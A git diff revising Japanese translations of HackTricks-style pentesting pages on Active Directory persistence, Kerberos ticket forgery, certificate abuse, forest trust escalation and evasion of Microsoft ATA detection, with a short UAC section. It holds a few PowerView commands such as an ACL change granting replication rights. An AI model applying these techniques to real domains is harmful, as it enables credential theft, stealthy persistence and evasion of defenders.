@ -328,7 +328,7 @@ printers-spooler-service-abuse.md
|
|||||||
### 第三者セッションの悪用
|
### 第三者セッションの悪用
|
||||||
|
|
||||||
**他のユーザー**が**侵害された**マシンに**アクセス**すると、メモリから**資格情報を収集**し、さらには**彼らのプロセスにビーコンを注入**して彼らを偽装することが可能です。\
|
**他のユーザー**が**侵害された**マシンに**アクセス**すると、メモリから**資格情報を収集**し、さらには**彼らのプロセスにビーコンを注入**して彼らを偽装することが可能です。\
|
||||||
通常、ユーザーはRDPを介してシステムにアクセスするため、ここでは第三者RDPセッションに対していくつかの攻撃を実行する方法を示します:
|
通常、ユーザーはRDPを介してシステムにアクセスするため、ここでは第三者のRDPセッションに対していくつかの攻撃を実行する方法を示します:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
rdp-sessions-abuse.md
|
rdp-sessions-abuse.md
|
||||||
@ -344,7 +344,7 @@ laps.md
|
|||||||
|
|
||||||
### 証明書の盗難
|
### 証明書の盗難
|
||||||
|
|
||||||
**侵害されたマシンから証明書を収集する**ことは、環境内で権限を昇格させる方法となる可能性があります:
|
**侵害されたマシンから証明書を収集**することは、環境内で権限を昇格させる方法となる可能性があります:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ad-certificates/certificate-theft.md
|
ad-certificates/certificate-theft.md
|
||||||
@ -352,7 +352,7 @@ ad-certificates/certificate-theft.md
|
|||||||
|
|
||||||
### 証明書テンプレートの悪用
|
### 証明書テンプレートの悪用
|
||||||
|
|
||||||
**脆弱なテンプレート**が構成されている場合、それを悪用して権限を昇格させることが可能です:
|
**脆弱なテンプレート**が設定されている場合、それを悪用して権限を昇格させることが可能です:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ad-certificates/domain-escalation.md
|
ad-certificates/domain-escalation.md
|
||||||
@ -366,12 +366,12 @@ ad-certificates/domain-escalation.md
|
|||||||
|
|
||||||
[**DCSync攻撃に関する詳細情報はここにあります**](dcsync.md)。
|
[**DCSync攻撃に関する詳細情報はここにあります**](dcsync.md)。
|
||||||
|
|
||||||
[**NTDS.ditを盗む方法に関する詳細情報はここにあります**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
[**NTDS.ditを盗む方法に関する詳細情報はここにあります**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)。
|
||||||
|
|
||||||
### 永続性としての権限昇格
|
### 権限昇格としての持続性
|
||||||
|
|
||||||
前述のいくつかの技術は、永続性のために使用できます。\
|
前述のいくつかの技術は持続性に使用できます。\
|
||||||
たとえば、次のことができます:
|
例えば、次のことができます:
|
||||||
|
|
||||||
- ユーザーを[**Kerberoast**](kerberoast.md)に対して脆弱にする
|
- ユーザーを[**Kerberoast**](kerberoast.md)に対して脆弱にする
|
||||||
|
|
||||||
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
|||||||
|
|
||||||
### シルバーチケット
|
### シルバーチケット
|
||||||
|
|
||||||
**シルバーチケット攻撃**は、特定のサービスのために**正当なチケットグラントサービス(TGS)チケット**を**NTLMハッシュ**(たとえば、**PCアカウントのハッシュ**)を使用して作成します。この方法は、**サービス権限にアクセスする**ために使用されます。
|
**シルバーチケット攻撃**は、特定のサービスのために**正当なチケットグラントサービス(TGS)チケット**を**NTLMハッシュ**(例えば、**PCアカウントのハッシュ**)を使用して作成します。この方法は、**サービス権限にアクセスするために使用されます**。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
silver-ticket.md
|
silver-ticket.md
|
||||||
@ -411,23 +411,23 @@ golden-ticket.md
|
|||||||
|
|
||||||
### ダイヤモンドチケット
|
### ダイヤモンドチケット
|
||||||
|
|
||||||
これらは、**一般的なゴールデンチケット検出メカニズムを回避する**方法で偽造されたゴールデンチケットのようなものです。
|
これらは、**一般的なゴールデンチケット検出メカニズムを回避する方法で偽造されたゴールデンチケットのようなものです。**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
diamond-ticket.md
|
diamond-ticket.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### **証明書アカウントの永続性**
|
### **証明書アカウントの持続性**
|
||||||
|
|
||||||
**アカウントの証明書を持っているか、要求できること**は、ユーザーアカウントに永続する非常に良い方法です(たとえ彼がパスワードを変更しても):
|
**アカウントの証明書を持っているか、要求できること**は、ユーザーアカウントに持続する非常に良い方法です(たとえ彼がパスワードを変更しても):
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ad-certificates/account-persistence.md
|
ad-certificates/account-persistence.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### **証明書ドメインの永続性**
|
### **証明書ドメインの持続性**
|
||||||
|
|
||||||
**証明書を使用することは、ドメイン内で高い権限を持って永続することも可能です:**
|
**証明書を使用することは、ドメイン内で高権限を持続することも可能です:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ad-certificates/domain-persistence.md
|
ad-certificates/domain-persistence.md
|
||||||
@ -435,7 +435,123 @@ ad-certificates/domain-persistence.md
|
|||||||
|
|
||||||
### AdminSDHolderグループ
|
### AdminSDHolderグループ
|
||||||
|
|
||||||
Active Directory内の**AdminSDHolder**オブジェクトは、**特権グループ**(ドメイン管理者やエンタープライズ管理者など)のセキュリティを確保するために、これらのグループ全体に標準の**アクセス制御リスト(ACL)**を適用して、無許可の変更を防ぎます。しかし、この機能は悪用される可能性があります。攻撃者がAdminSDHolderのACLを変更して通常のユーザーに完全なアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。このセキュリ
|
Active Directoryの**AdminSDHolder**オブジェクトは、**特権グループ**(ドメイン管理者やエンタープライズ管理者など)のセキュリティを確保するために、これらのグループ全体に標準の**アクセス制御リスト(ACL)**を適用し、無許可の変更を防ぎます。しかし、この機能は悪用される可能性があります。攻撃者がAdminSDHolderのACLを変更して通常のユーザーに完全なアクセスを与えると、そのユーザーはすべての特権グループに対して広範な制御を得ることになります。このセキュリティ対策は保護を目的としていますが、厳重に監視されない限り、無許可のアクセスを許すことになります。
|
||||||
|
|
||||||
|
[**AdminDSHolderグループに関する詳細情報はここにあります。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
|
||||||
|
|
||||||
|
### DSRM資格情報
|
||||||
|
|
||||||
|
すべての**ドメインコントローラー(DC)**内には、**ローカル管理者**アカウントが存在します。このようなマシンで管理者権限を取得することで、**mimikatz**を使用してローカル管理者のハッシュを抽出できます。その後、このパスワードを使用できるようにするためにレジストリの変更が必要で、ローカル管理者アカウントへのリモートアクセスが可能になります。
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
dsrm-credentials.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### ACL持続性
|
||||||
|
|
||||||
|
特定のドメインオブジェクトに対して**ユーザー**に**特別な権限**を与えることで、そのユーザーが将来的に**権限を昇格**させることができるようになります。
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
acl-persistence-abuse/
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### セキュリティ記述子
|
||||||
|
|
||||||
|
**セキュリティ記述子**は、**オブジェクト**が**オブジェクト**に対して持つ**権限**を**保存**するために使用されます。オブジェクトの**セキュリティ記述子**に**少しの変更**を加えることができれば、そのオブジェクトに対して特権グループのメンバーである必要なく非常に興味深い権限を取得できます。
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
security-descriptors.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### スケルトンキー
|
||||||
|
|
||||||
|
**LSASS**をメモリ内で変更して、すべてのドメインアカウントにアクセスを許可する**ユニバーサルパスワード**を確立します。
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
skeleton-key.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### カスタムSSP
|
||||||
|
|
||||||
|
[SSP(セキュリティサポートプロバイダー)について学ぶ](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||||||
|
自分の**SSP**を作成して、マシンにアクセスするために使用される**資格情報**を**平文**で**キャプチャ**することができます。\\
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
custom-ssp.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### DCShadow
|
||||||
|
|
||||||
|
ADに**新しいドメインコントローラー**を登録し、指定されたオブジェクトに**属性**(SIDHistory、SPNsなど)を**プッシュ**しますが、**変更**に関する**ログ**を残さずに行います。**DA**権限が必要で、**ルートドメイン**内にいる必要があります。\
|
||||||
|
間違ったデータを使用すると、非常に醜いログが表示されることに注意してください。
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
dcshadow.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### LAPS持続性
|
||||||
|
|
||||||
|
以前に、**LAPSパスワードを読み取るための十分な権限がある場合に権限を昇格させる方法**について説明しました。しかし、これらのパスワードは**持続性を維持するためにも使用できます**。\
|
||||||
|
確認してください:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
laps.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## フォレスト権限昇格 - ドメイン信頼
|
||||||
|
|
||||||
|
Microsoftは**フォレスト**をセキュリティ境界と見なしています。これは、**単一のドメインを侵害することが、フォレスト全体の侵害につながる可能性がある**ことを意味します。
|
||||||
|
|
||||||
|
### 基本情報
|
||||||
|
|
||||||
|
[**ドメイン信頼**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)は、ある**ドメイン**のユーザーが別の**ドメイン**のリソースにアクセスできるようにするセキュリティメカニズムです。これは、2つのドメインの認証システム間にリンクを作成し、認証確認がシームレスに流れることを可能にします。ドメインが信頼を設定すると、特定の**キー**を**ドメインコントローラー(DC)**内で交換し保持します。これは信頼の整合性にとって重要です。
|
||||||
|
|
||||||
|
典型的なシナリオでは、ユーザーが**信頼されたドメイン**のサービスにアクセスしようとする場合、まず自分のドメインのDCから**インターレルムTGT**と呼ばれる特別なチケットを要求する必要があります。このTGTは、両方のドメインが合意した共有**キー**で暗号化されています。ユーザーはこのTGTを**信頼されたドメインのDC**に提示してサービスチケット(**TGS**)を取得します。信頼されたドメインのDCによってインターレルムTGTが正常に検証されると、TGSが発行され、ユーザーはサービスにアクセスできるようになります。
|
||||||
|
|
||||||
|
**手順**:
|
||||||
|
|
||||||
|
1. **ドメイン1**の**クライアントコンピュータ**が、**ドメインコントローラー(DC1)**から**チケットグラントチケット(TGT)**を要求するプロセスを開始します。
|
||||||
|
2. クライアントが正常に認証されると、DC1は新しいTGTを発行します。
|
||||||
|
3. クライアントは次に、**ドメイン2**のリソースにアクセスするために必要な**インターレルムTGT**をDC1に要求します。
|
||||||
|
4. インターレルムTGTは、DC1とDC2の間で共有された**信頼キー**で暗号化されています。
|
||||||
|
5. クライアントはインターレルムTGTを**ドメイン2のドメインコントローラー(DC2)**に持っていきます。
|
||||||
|
6. DC2は、共有された信頼キーを使用してインターレルムTGTを検証し、有効な場合は、クライアントがアクセスしたいドメイン2のサーバーのための**チケットグラントサービス(TGS)**を発行します。
|
||||||
|
7. 最後に、クライアントはこのTGSをサーバーに提示し、サーバーのアカウントハッシュで暗号化されているため、ドメイン2のサービスにアクセスします。
|
||||||
|
|
||||||
|
### 異なる信頼
|
||||||
|
|
||||||
|
**信頼は1方向または2方向**であることに注意することが重要です。2方向のオプションでは、両方のドメインが互いに信頼しますが、**1方向**の信頼関係では、1つのドメインが**信頼された**ドメインであり、もう1つが**信頼する**ドメインです。この場合、**信頼されたドメインから信頼するドメイン内のリソースにのみアクセスできます**。
|
||||||
|
|
||||||
|
ドメインAがドメインBを信頼している場合、Aは信頼するドメインであり、Bは信頼されたドメインです。さらに、**ドメインA**では、これは**アウトバウンド信頼**となり、**ドメインB**では、これは**インバウンド信頼**となります。
|
||||||
|
|
||||||
|
**異なる信頼関係**
|
||||||
|
|
||||||
|
- **親子信頼**:これは同じフォレスト内で一般的な設定であり、子ドメインは自動的に親ドメインとの双方向の推移的信頼を持ちます。基本的に、これは認証要求が親と子の間でシームレスに流れることを意味します。
|
||||||
|
- **クロスリンク信頼**:これは「ショートカット信頼」と呼ばれ、子ドメイン間で確立され、参照プロセスを迅速化します。複雑なフォレストでは、認証参照は通常、フォレストルートまで上昇し、ターゲットドメインまで下降する必要があります。クロスリンクを作成することで、旅が短縮され、特に地理的に分散した環境で有益です。
|
||||||
|
- **外部信頼**:これは異なる、無関係なドメイン間で設定され、非推移的です。 [Microsoftのドキュメント](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)によると、外部信頼は、現在のフォレスト外のドメインのリソースにアクセスするために便利で、フォレスト信頼で接続されていないドメインに役立ちます。セキュリティは、外部信頼に対するSIDフィルタリングによって強化されます。
|
||||||
|
- **ツリー根信頼**:これらの信頼は、フォレストルートドメインと新しく追加されたツリー根の間で自動的に確立されます。一般的には遭遇しませんが、ツリー根信頼は、フォレストに新しいドメインツリーを追加するために重要で、ユニークなドメイン名を維持し、双方向の推移性を確保します。詳細情報は[Microsoftのガイド](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)で確認できます。
|
||||||
|
- **フォレスト信頼**:このタイプの信頼は、2つのフォレストルートドメイン間の双方向推移的信頼であり、セキュリティ対策を強化するためにSIDフィルタリングを強制します。
|
||||||
|
- **MIT信頼**:これらの信頼は、非Windowsの[RF4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインとの間で確立されます。MIT信頼は、Windowsエコシステム外のKerberosベースのシステムとの統合を必要とする環境に特化しています。
|
||||||
|
|
||||||
|
#### **信頼関係の他の違い**
|
||||||
|
|
||||||
|
- 信頼関係は**推移的**(AがBを信頼し、BがCを信頼する場合、AはCを信頼する)または**非推移的**であることができます。
|
||||||
|
- 信頼関係は**双方向信頼**(両方が互いに信頼する)または**一方向信頼**(一方だけが他方を信頼する)として設定できます。
|
||||||
|
|
||||||
|
### 攻撃パス
|
||||||
|
|
||||||
|
1. **信頼関係を列挙**する
|
||||||
|
2. どの**セキュリティプリンシパル**(ユーザー/グループ/コンピュータ)が**他のドメインのリソースにアクセス**できるかを確認します。おそらくACEエントリや他のドメインのグループにいることによって。**ドメイン間の関係**を探します(信頼がこのために作成された可能性があります)。
|
||||||
|
1. この場合、kerberoastが別のオプションになる可能性があります。
|
||||||
|
3. **アカウントを侵害**し、ドメインを**ピボット**することができます。
|
||||||
|
|
||||||
|
攻撃者は、他のドメインのリソースにアクセスするために、主に3つのメカニズムを使用できます:
|
||||||
|
|
||||||
|
- **ローカルグループメンバーシップ**:プリンシパルは、サーバーの「Administrators」グループなどのマシンのローカルグループに追加されることがあり、そのマシンに対して重要な制御を与えます。
|
||||||
|
- **外国ドメイングループメンバーシップ**:プリンシパルは、外国ドメイン内のグループのメンバーでもあります。ただし、この方法の効果は、信頼の性質とグループの範囲に依存します。
|
||||||
|
- **アクセス制御リスト(ACL)**:プリンシパルは、特定のリソースへのアクセスを提供する**ACL**内の**ACE**のエンティティとして指定されることがあります。ACL、DACL、およびACEのメカニズムを深く掘り下げたい方には、ホワイトペーパー「[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)」が貴重なリソースです。
|
||||||
|
|
||||||
|
### 子から親へのフォレスト権限昇格
|
||||||
```
|
```
|
||||||
Get-DomainTrust
|
Get-DomainTrust
|
||||||
|
|
||||||
@ -466,25 +582,25 @@ sid-history-injection.md
|
|||||||
|
|
||||||
#### 書き込み可能なConfiguration NCの悪用
|
#### 書き込み可能なConfiguration NCの悪用
|
||||||
|
|
||||||
Configuration Naming Context (NC) がどのように悪用されるかを理解することは重要です。Configuration NCは、Active Directory (AD) 環境内のフォレスト全体の構成データの中央リポジトリとして機能します。このデータは、フォレスト内のすべてのドメインコントローラー (DC) に複製され、書き込み可能なDCはConfiguration NCの書き込み可能なコピーを保持します。これを悪用するには、**DC上でSYSTEM権限を持つ必要があります**。できれば子DCが望ましいです。
|
Configuration Naming Context (NC) がどのように悪用されるかを理解することは重要です。Configuration NCは、Active Directory (AD) 環境内のフォレスト全体の構成データの中央リポジトリとして機能します。このデータはフォレスト内のすべてのドメインコントローラー (DC) に複製され、書き込み可能なDCはConfiguration NCの書き込み可能なコピーを保持します。これを悪用するには、**DC上でSYSTEM権限を持つ必要があります**。できれば子DCが望ましいです。
|
||||||
|
|
||||||
**GPOをルートDCサイトにリンク**
|
**GPOをルートDCサイトにリンクする**
|
||||||
|
|
||||||
Configuration NCのSitesコンテナには、ADフォレスト内のすべてのドメイン参加コンピュータのサイトに関する情報が含まれています。任意のDCでSYSTEM権限を持って操作することで、攻撃者はGPOをルートDCサイトにリンクできます。このアクションは、これらのサイトに適用されるポリシーを操作することによって、ルートドメインを危険にさらす可能性があります。
|
Configuration NCのSitesコンテナには、ADフォレスト内のすべてのドメイン参加コンピュータのサイトに関する情報が含まれています。任意のDCでSYSTEM権限を持って操作することで、攻撃者はGPOをルートDCサイトにリンクできます。このアクションは、これらのサイトに適用されるポリシーを操作することによって、ルートドメインを危険にさらす可能性があります。
|
||||||
|
|
||||||
詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を参照してください。
|
詳細情報については、[SIDフィルタリングのバイパス](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)に関する研究を参照してください。
|
||||||
|
|
||||||
**フォレスト内の任意のgMSAを妥協**
|
**フォレスト内の任意のgMSAを妥協する**
|
||||||
|
|
||||||
攻撃ベクトルは、ドメイン内の特権gMSAをターゲットにすることです。gMSAのパスワードを計算するために必要なKDS Rootキーは、Configuration NC内に保存されています。任意のDCでSYSTEM権限を持つことで、KDS Rootキーにアクセスし、フォレスト内の任意のgMSAのパスワードを計算することが可能です。
|
攻撃ベクトルは、ドメイン内の特権gMSAをターゲットにすることです。gMSAのパスワードを計算するために必要なKDS Rootキーは、Configuration NC内に保存されています。任意のDCでSYSTEM権限を持つことで、KDS Rootキーにアクセスし、フォレスト内の任意のgMSAのパスワードを計算することが可能です。
|
||||||
|
|
||||||
詳細な分析は、[Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)の議論で見つけることができます。
|
詳細な分析は、[Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)の議論で確認できます。
|
||||||
|
|
||||||
**スキーマ変更攻撃**
|
**スキーマ変更攻撃**
|
||||||
|
|
||||||
この方法は、新しい特権ADオブジェクトの作成を待つ必要があります。SYSTEM権限を持つ攻撃者は、ADスキーマを変更して、任意のユーザーにすべてのクラスに対する完全な制御を付与できます。これにより、新しく作成されたADオブジェクトへの不正アクセスと制御が可能になる可能性があります。
|
この方法は、新しい特権ADオブジェクトの作成を待つ必要があります。SYSTEM権限を持つ攻撃者は、ADスキーマを変更して、任意のユーザーにすべてのクラスに対する完全な制御を付与できます。これにより、新しく作成されたADオブジェクトへの不正アクセスと制御が可能になる可能性があります。
|
||||||
|
|
||||||
さらなる読み物は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で利用できます。
|
さらなる読み物は、[スキーマ変更信頼攻撃](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)で入手できます。
|
||||||
|
|
||||||
**ADCS ESC5を使用してDAからEAへ**
|
**ADCS ESC5を使用してDAからEAへ**
|
||||||
|
|
||||||
@ -503,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
|
|||||||
WhenCreated : 2/19/2021 10:50:56 PM
|
WhenCreated : 2/19/2021 10:50:56 PM
|
||||||
WhenChanged : 2/19/2021 10:50:56 PM
|
WhenChanged : 2/19/2021 10:50:56 PM
|
||||||
```
|
```
|
||||||
このシナリオでは、**あなたのドメインが外部のドメインによって信頼されています**。これにより、**不明な権限**が与えられます。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセス権を持っているか**を見つけ出し、それを悪用しようとする必要があります。
|
このシナリオでは、**あなたのドメインが外部のドメインによって信頼されています**。これにより、**不明な権限**が与えられます。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセス権を持っているかを見つけ**、それを悪用しようとする必要があります:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
external-forest-domain-oneway-inbound.md
|
external-forest-domain-oneway-inbound.md
|
||||||
@ -529,10 +645,10 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
|||||||
external-forest-domain-one-way-outbound.md
|
external-forest-domain-one-way-outbound.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
信頼されたドメインを侵害する別の方法は、ドメイン信頼の**反対方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。
|
信頼されたドメインを侵害する別の方法は、ドメイン信頼の**逆方向**に作成された[**SQL信頼リンク**](abusing-ad-mssql.md#mssql-trusted-links)を見つけることです(これはあまり一般的ではありません)。
|
||||||
|
|
||||||
信頼されたドメインを侵害する別の方法は、**信頼されたドメインのユーザーがアクセスできる**マシンで待機し、**RDP**を介してログインすることです。その後、攻撃者はRDPセッションプロセスにコードを注入し、そこから**被害者の元のドメインにアクセス**できます。\
|
信頼されたドメインを侵害する別の方法は、**信頼されたドメインのユーザーがアクセスできる**マシンで待機し、**RDP**経由でログインすることです。その後、攻撃者はRDPセッションプロセスにコードを注入し、そこから**被害者の元のドメインにアクセス**できます。\
|
||||||
さらに、**被害者がハードドライブをマウントした場合**、RDPセッションプロセスから攻撃者は**ハードドライブのスタートアップフォルダーにバックドア**を保存できます。この技術は**RDPInception**と呼ばれます。
|
さらに、**被害者がハードドライブをマウントした場合**、RDPセッションプロセスから攻撃者は**ハードドライブのスタートアップフォルダー**に**バックドア**を保存できます。この技術は**RDPInception**と呼ばれます。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
rdp-sessions-abuse.md
|
rdp-sessions-abuse.md
|
||||||
@ -542,7 +658,7 @@ rdp-sessions-abuse.md
|
|||||||
|
|
||||||
### **SIDフィルタリング:**
|
### **SIDフィルタリング:**
|
||||||
|
|
||||||
- フォレスト信頼を越えたSID履歴属性を利用した攻撃のリスクは、SIDフィルタリングによって軽減され、これはすべてのインターフォレスト信頼でデフォルトで有効になっています。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすことから、イントラフォレスト信頼が安全であるという前提に基づいています。
|
- SID履歴属性を利用した攻撃のリスクは、すべてのインターフォレスト信頼でデフォルトで有効になっているSIDフィルタリングによって軽減されます。これは、マイクロソフトの見解に従い、フォレストをセキュリティ境界と見なすときに、イントラフォレスト信頼が安全であるという前提に基づいています。
|
||||||
- しかし、注意点があります:SIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。
|
- しかし、注意点があります:SIDフィルタリングはアプリケーションやユーザーアクセスに影響を与える可能性があり、そのため時折無効にされることがあります。
|
||||||
|
|
||||||
### **選択的認証:**
|
### **選択的認証:**
|
||||||
@ -576,15 +692,15 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
|
|||||||
|
|
||||||
### **欺瞞の特定**
|
### **欺瞞の特定**
|
||||||
|
|
||||||
- **ユーザーオブジェクトの場合**:疑わしい指標には、異常なObjectSID、稀なログオン、作成日、低い不正パスワードカウントが含まれます。
|
- **ユーザーオブジェクトの場合**:疑わしい指標には、異常なObjectSID、まれなログオン、作成日、低い不正パスワードカウントが含まれます。
|
||||||
- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで不一致が明らかになることがあります。[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)のようなツールは、そのような欺瞞を特定するのに役立ちます。
|
- **一般的な指標**:潜在的なデコイオブジェクトの属性を本物のものと比較することで、不一致を明らかにできます。[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)のようなツールは、そのような欺瞞を特定するのに役立ちます。
|
||||||
|
|
||||||
### **検出システムの回避**
|
### **検出システムの回避**
|
||||||
|
|
||||||
- **Microsoft ATA検出回避**:
|
- **Microsoft ATA検出回避**:
|
||||||
- **ユーザー列挙**:ドメインコントローラーでのセッション列挙を避け、ATA検出を防ぎます。
|
- **ユーザー列挙**:ドメインコントローラーでのセッション列挙を避け、ATA検出を防ぎます。
|
||||||
- **チケットの偽装**:チケット作成に**aes**キーを利用することで、NTLMにダウングレードせずに検出を回避します。
|
- **チケットの偽装**:チケット作成に**aes**キーを利用することで、NTLMにダウングレードせずに検出を回避します。
|
||||||
- **DCSync攻撃**:ATA検出を避けるために、非ドメインコントローラーから実行することが推奨されます。ドメインコントローラーから直接実行するとアラートがトリガーされます。
|
- **DCSync攻撃**:ATA検出を避けるために、ドメインコントローラーから直接実行するのではなく、非ドメインコントローラーから実行することが推奨されます。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## UAC
|
## UAC
|
||||||
|
|
||||||
[ユーザーアカウント制御 (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、**昇格された活動のための同意プロンプト**を有効にする機能です。アプリケーションには異なる `integrity` レベルがあり、**高いレベル**のプログラムは、**システムを危険にさらす可能性のあるタスク**を実行できます。UACが有効になっている場合、アプリケーションやタスクは常に**非管理者アカウントのセキュリティコンテキストの下で実行**され、管理者が明示的にこれらのアプリケーション/タスクに管理者レベルのアクセスを許可しない限り、システムを実行することはできません。これは、管理者が意図しない変更から保護される便利な機能ですが、セキュリティ境界とは見なされません。
|
[ユーザーアカウント制御 (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、**昇格された活動のための同意プロンプト**を有効にする機能です。アプリケーションには異なる `integrity` レベルがあり、**高いレベル**のプログラムは、**システムを危険にさらす可能性のあるタスク**を実行できます。UACが有効になっている場合、アプリケーションやタスクは常に**非管理者アカウントのセキュリティコンテキストで実行され**、管理者が明示的にこれらのアプリケーション/タスクに管理者レベルのアクセスを許可しない限り、システムを実行することはできません。これは、管理者が意図しない変更から保護される便利な機能ですが、セキュリティ境界とは見なされません。
|
||||||
|
|
||||||
インテグリティレベルに関する詳細情報:
|
インテグリティレベルに関する詳細情報については:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../windows-local-privilege-escalation/integrity-levels.md
|
../windows-local-privilege-escalation/integrity-levels.md
|
||||||
@ -20,7 +20,7 @@ UACが有効な場合、管理者ユーザーには2つのトークンが与え
|
|||||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||||
| [ユーザーアカウント制御:組み込みの管理者アカウントの管理者承認モード](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 無効 |
|
| [ユーザーアカウント制御:組み込みの管理者アカウントの管理者承認モード](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 無効 |
|
||||||
| [ユーザーアカウント制御:UIAccessアプリケーションがセキュアデスクトップを使用せずに昇格を要求できるようにする](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 無効 |
|
| [ユーザーアカウント制御:UIAccessアプリケーションがセキュアデスクトップを使用せずに昇格を要求できるようにする](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 無効 |
|
||||||
| [ユーザーアカウント制御:管理者の昇格プロンプトの動作(管理者承認モード)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求めるプロンプト |
|
| [ユーザーアカウント制御:管理者の管理者承認モードにおける昇格プロンプトの動作](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 非Windowsバイナリに対して同意を求めるプロンプト |
|
||||||
